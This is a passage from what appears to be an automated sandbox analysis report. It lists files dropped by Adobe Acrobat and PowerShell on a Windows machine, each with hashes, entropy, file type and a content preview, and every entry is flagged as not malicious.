SSDEEP:	6:YEQXJ2HXBSdrGuHu27EUuW5BnVoZcg1vRcR0Y0/3xoAvJf21rPeUkwRe9:YvXKXBwJ7EUpBWZc0v7OG+16Ukee9
MD5:	90E18B287D644330C81A6A54853EDD89
SHA1:	8A209DD7F4BBBB2F7F5750762368FCC2C7BD9AE2
SHA-256:	30CCC18083143730E6875A63FDACCC5E7AC14E805CCE69F645684AF7C9CC0425
SHA-512:	8C6D20DB0B3C179638C3944EC58DD86D4EAE8F737F2298F281B184314729E578AB229855ECFF7EC7E5115C216BAE04FA6E1732C58842098CBA0633A61242E1A4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"678d80d7-6b5a-4541-8a11-72aaf5a55830","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742807307,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666698776342203
Encrypted:	false
SSDEEP:	24:Yv6XBwJ7VWzv3amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS7:YvEw/O3BgkDMUJUAh8cvM7
MD5:	F37CA44D28902618411AA3DC24511678
SHA1:	AA37A46C274875A7C98F181E78D8D6A6C5E7B7B4
SHA-256:	BE73B8770978EA66CE10AE8C318870FBC7344A326A13CE6A58692176F8A9A7BB
SHA-512:	9760EB91E18F79DADA5744333EF5F0791A115227B861E46988C474A1668962FB629D36D51686963666D90A4112626E6D6645DA02D958F66D6503CEC337FCC3A2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"678d80d7-6b5a-4541-8a11-72aaf5a55830","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742807307,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.264323281105458
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSdrGuHu27EUuW5BnVoZcg1vRcR0Y0/3xoAvJfshHHrPeUkwRe9:YvXKXBwJ7EUpBWZc0v7OGUUUkee9
MD5:	FDD4CBF9BA699E56EC0D6A682EBCA2EB
SHA1:	877349F6E8565F75B4024D4017D066D1BFF5BF0F
SHA-256:	399E6B78EDCEAA0FEB22CE4D4C50A1A2B59B5F9322DB16E79CCD5C54C43C1031
SHA-512:	86E8FFBB70E25A147625699C21CFF07A9D1039C306B618B089264F4A9F9FAEC84D065506DD1FFD0273F185E6D8422E99A11A89CC2111373D54785FB8CF86423D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"678d80d7-6b5a-4541-8a11-72aaf5a55830","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742807307,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.273189770877987
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSdrGuHu27EUuW5BnVoZcg1vRcR0Y0/3xoAvJTqgFCrPeUkwRe9:YvXKXBwJ7EUpBWZc0v7OGTq16Ukee9
MD5:	2C56D72194E50C61E2EC045B358EE24B
SHA1:	BBF5BF7DB36613AE3BC6F3A4F50490E40C44169B
SHA-256:	AB1EF48E630F998E6E9563D0C9324D4077BE31074F0D5549435D0406D30E89AA
SHA-512:	66D89F35FDE1EEFDF40420B2F1C53C1C94478E35BE9F1BEFF229BE93B0949B157EB346107B0870A1A6A8EDCD64395605B259C7330BBC20C39EC924C3DEE477C9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"678d80d7-6b5a-4541-8a11-72aaf5a55830","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742807307,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.135920153258096
Encrypted:	false
SSDEEP:	24:Y2WFZnaqKayAPB9Y44qksMBZbvYZbkcjWBWj0SGSV6ZH1Cl/2F72LSGMCnx8FTVu:Y2Wzpk/WGofkV2Q1gOtVM3+39DO
MD5:	11989648CF9380B90B1D717AAB7308CA
SHA1:	C0938E0E138036A87067238DD15D613ADE8D2274
SHA-256:	4A2338873953DF9F1CB82CB50DB7FF1C6D4D95F570D8DF2F9692024D17EEFD2D
SHA-512:	CC7BA1D88629CE9CA24F414201574482D2815A1F79B4842E989BD2E686783C57A797F25FE6EB3053D66B3C2D521C7DA34050BD9D7FE51634A7661D8BE21D9CC9
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"0ede427c591c497aab2b8196f4639e20","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736563076000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"8afa2457bc44a15ec953f5c6c77047cb","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736563076000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"3addf1074041b825cf3e9c136df1ae81","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736563076000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"013f738a02cc6643224da4bc359ec3dc","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736563076000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"92077f719a7d9857484c442571022b7f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736563076000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"8f644d62cf76d730938bc06b81c4adce","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1884647562963788
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUQG6KSvR9H9vxFGiDIAEkGVvp26s:lNVmswUUUUUUUUB+FGSIt0
MD5:	EF8B9D1451BB57089796B6C9A27C9624
SHA1:	4E957FE851CD5C8205B7A52132B7E62D528A750A
SHA-256:	8202A854379D35610DAB2B06A0A4453927B589788FA24650EED8CCBCDF352BD9
SHA-512:	529303DC8699CBC2C3F1E550F4BE26CF3ADE9813DA31BAA45801354C2B0249A8657A1ABE9DABAAD550F5EAC2300942DE4BF9812025EB4593CC25C84D872B8B93
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.607155494920894
Encrypted:	false
SSDEEP:	48:7MWKUUUUUUUUUUQG6ovR9H9vxFGiDIAEkGVvFqFl2GL7ms+:76UUUUUUUUUUtFGSItzKVms+
MD5:	3AD0C78F7255DF6C98A1687AC4E19441
SHA1:	AEDD718DEE8CBD2C8A332EC1FEAB3EBB50C5A43C
SHA-256:	96AAD4BAF7205A02AEA6623F9BB87382C37068C7360AFBDE900A97E7417D8BB3
SHA-512:	E20D85F095BC8BA069EC253BEED4B4E0DAD796E8EA97AC1E8AC36B21CA078C0FB02900AFF6B877D893FBBB946609D31720B10D4314808393A7950C0B69598D46
Malicious:	false
Preview:	.... .c.....\.._......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgNsWY/QcxV8OAquDOtGrlen6dYyu:6a6TZ44ADENsl/QcoOA9en+K
MD5:	0DBB6343A55DFE61272ABBE2DCD91F25
SHA1:	C29928830908724807709F3FF68D36C5A22E3160
SHA-256:	410125234E06F0E169C3D673A9021300D3EF67F4D862AE5547AC38343AA41FA8
SHA-512:	2DA1ECC5ED397CB53A73B10DB0D60B41CA1B8E85FB37A4C3E6AAF12DA51008E775D7CE76AC49EB4020F1D0BCB97D3EE72E10B75650E2BB35C77ABF49FF2A0813
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIb9a60.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClsxdw:Qw946cPbiOxDlbYnuRK+bfdw
MD5:	D23F4BDBCB3154D18ECC2C0AE65EB83A
SHA1:	FC562615C078E59704E387B5F974B38DF89B835E
SHA-256:	18B6488B844B5609948397CD243221D9EB6ED9B18D0925F64DCB20C98752BC99
SHA-512:	88F9402E78F0187F68FF1FF7CC7549C2D3A6555770848519E361EBFD09DF5B8B104B939E7323A0A5B2609D0F2DC9EFBE6FF6B89C15AB938C93DB107DF3199C75
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.3.7.:.5.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m1vzstxo.fki.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xuviu14h.rx4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-37-52-887.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.35248023780155
Encrypted:	false
SSDEEP:	384:OVkqlSg3zQvDdSu1W8w/6lr2fDEF3oqS0Ar+YSF/KA+a7hzWCKBndYDY9Qke3ixG:OV2p
MD5:	5E52E9F0FBD383CBB12A59806CE7D5A5
SHA1:	BCD0327C5D7DA6B4ED13281AFA5C2A501A98F2AD
SHA-256:	182DCF97F616410C227A255DB055E6C7FAD43B0838A9EB9DB374C564D6E6090C
SHA-512:	CBA013131895897471065640B164F942BA23B170D27198882662CA826E20467EDB1F5B12E9694677779DFF4A8ED7DAC279C72A0494F1862FD76DC743039F7E72
Malicious:	false
Preview:	SessionID=dee83351-ab9e-4301-9b4d-997c574f39ad.1736563072899 Timestamp=2025-01-10T21:37:52:899-0500 ThreadID=7980 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=dee83351-ab9e-4301-9b4d-997c574f39ad.1736563072899 Timestamp=2025-01-10T21:37:52:900-0500 ThreadID=7980 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=dee83351-ab9e-4301-9b4d-997c574f39ad.1736563072899 Timestamp=2025-01-10T21:37:52:900-0500 ThreadID=7980 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=dee83351-ab9e-4301-9b4d-997c574f39ad.1736563072899 Timestamp=2025-01-10T21:37:52:900-0500 ThreadID=7980 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=dee83351-ab9e-4301-9b4d-997c574f39ad.1736563072899 Timestamp=2025-01-10T21:37:52:900-0500 ThreadID=7980 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.391732954590982
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rA:he
MD5:	548384805CCD79774E3E807FFEC7CE33
SHA1:	F872103F5256BF5E65529EA6B417856FC5B6AA2A
SHA-256:	E8D847C440E3AB7DBCCA257069C203CD5D7B81C102FDDF763F061AE2AB600133
SHA-512:	2D07C6FDB69848A590503FA3FF508065DDD89A401DF37AFF6E540A0302C717407280B4658D536DB347346698175F7EEBC6DF664B57909B748B6D522156D0E487
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1f1aaff0-acc1-4606-b748-7a3891a55905.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\2c40848d-89b2-4972-906d-c8eb4fc87408.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ca748e8a-5a56-4200-9341-57f12495cd09.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f5593536-4b3f-48f1-94fc-706e86ee6f85.tmp

Download File

